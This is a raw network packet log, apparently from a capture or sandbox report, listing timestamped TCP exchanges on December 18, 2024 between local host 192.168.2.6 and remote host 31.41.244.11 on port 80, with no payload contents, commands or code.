Dec 18, 2024 11:47:36.202548027 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.202560902 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.202769041 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.206366062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.206407070 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.206465960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.206572056 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.210145950 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.210241079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.210401058 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.210401058 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.214075089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.214159966 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.214186907 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.214205980 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.217896938 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.217968941 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.218086004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.218133926 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.221729040 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.221837044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.221853971 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.222085953 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.225619078 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.225754976 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.225805044 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.229435921 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.229688883 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.229691982 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.229964018 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.233316898 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.233365059 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.233448029 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.233504057 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.237371922 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.237420082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.329379082 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.329459906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.329464912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.329531908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.330960989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.330997944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.331037998 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.331280947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.334214926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.334256887 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.334326029 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.334417105 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.337207079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.337269068 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.338063955 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.340476036 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.340523005 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.340573072 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.340864897 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.343327999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.343375921 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.343414068 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.343635082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.345818996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.345977068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.346005917 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.346088886 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.349098921 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.349277973 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.349679947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.351804972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.351891041 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.351938009 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.354439974 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.354567051 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.354614973 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.357336044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.357431889 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.357451916 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.357484102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.360096931 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.360234022 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.360286951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.360286951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.362734079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.362818956 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.362867117 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.362867117 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.365530968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.365627050 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.365648031 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.365664005 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.368777037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.368845940 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.368875980 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.368886948 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.371826887 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.371921062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.371942043 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.371958017 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.374392986 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.374473095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.374512911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.377017021 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.377110004 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.377111912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.378344059 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.379889011 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.379997015 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.380016088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.380170107 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.382436037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.382528067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.382550001 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.382566929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.384987116 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.385036945 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.385129929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.385171890 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.387588024 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.387664080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.387706995 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.388083935 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.390418053 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.390496969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.390537024 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.393006086 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.393094063 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.393153906 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.393273115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.395688057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.395781040 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.395804882 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.395817995 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.398297071 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.398452044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.398469925 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.398484945 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.400856972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.400903940 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.400926113 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.400954962 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.403884888 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.403913975 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.403996944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.406450987 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.406605959 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.406631947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.406650066 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.409118891 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.409193993 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.409307957 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.409545898 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.411544085 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.411613941 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.411642075 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.411655903 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.414099932 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.414186954 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.414227009 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.416811943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.416893959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.416896105 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.416946888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.419996977 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.420063019 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.420129061 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.420310020 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.422557116 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.422693968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.425129890 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.425929070 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.425983906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.426132917 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.426242113 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.429239988 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.429333925 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.429619074 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.429702044 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.431689024 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.431794882 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.431808949 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.431984901 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.433824062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.433917046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.433939934 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.433960915 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.436286926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.436424017 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.436642885 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.438846111 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.438904047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.439024925 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.439099073 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.441606045 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.441654921 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.519663095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.519718885 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.519836903 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.519882917 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.520740032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.520785093 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.520816088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.521389008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.523160934 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.523256063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.523304939 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.524966955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.525010109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.525065899 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.525305033 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.527077913 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.527213097 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.527262926 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.529241085 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.529289007 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.529324055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.529367924 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.531372070 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.531410933 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.531511068 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.531553030 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.533535004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.533549070 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.533638954 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.535546064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.535634041 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.535696983 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.535803080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.537404060 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.537574053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.537578106 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.537626028 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.539621115 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.539669037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.539678097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.539757013 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.541445971 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.541486979 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.541512966 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.541739941 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.543375969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.543422937 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.543740034 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.543781996 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.545300007 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.545345068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.545407057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.545444965 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.547337055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.547385931 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.547482967 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.547521114 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.549563885 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.549575090 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.549618959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.549640894 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.551304102 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.551353931 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.551436901 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.551490068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.553056955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.553100109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.553191900 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.553232908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.554775000 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.554841042 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.554996014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.555073977 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.556329966 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.556380033 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.556416988 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.556471109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.558213949 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.558260918 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.558326960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.558532000 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.560024977 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.560074091 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.560203075 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.560250044 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.561502934 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.561553001 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.561686039 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.561729908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.563352108 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.563399076 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.563462973 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.563508034 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.565107107 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.565150976 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.565169096 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.565193892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.566771984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.566788912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.566823006 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.568650961 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.568696976 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.568710089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.568727970 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.570215940 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.570275068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.570333958 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.570380926 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.571902990 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.571964025 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.571995020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.572221041 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.573688984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.573703051 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.573735952 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.573754072 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.575494051 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.575508118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.575546026 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.577157021 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.577169895 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.577209949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.578839064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.578929901 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.578959942 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.578999043 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.580609083 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.580670118 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.580750942 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.580818892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.582568884 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.582623959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.582654953 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.582710028 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.584012032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.584062099 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.584115028 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.584320068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.585757971 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.585886002 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.585928917 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.587460041 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.587547064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.587610960 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.589092970 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.589154959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.589190006 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.589243889 CET	49859	80	192.168.2.6	31.41.244.11
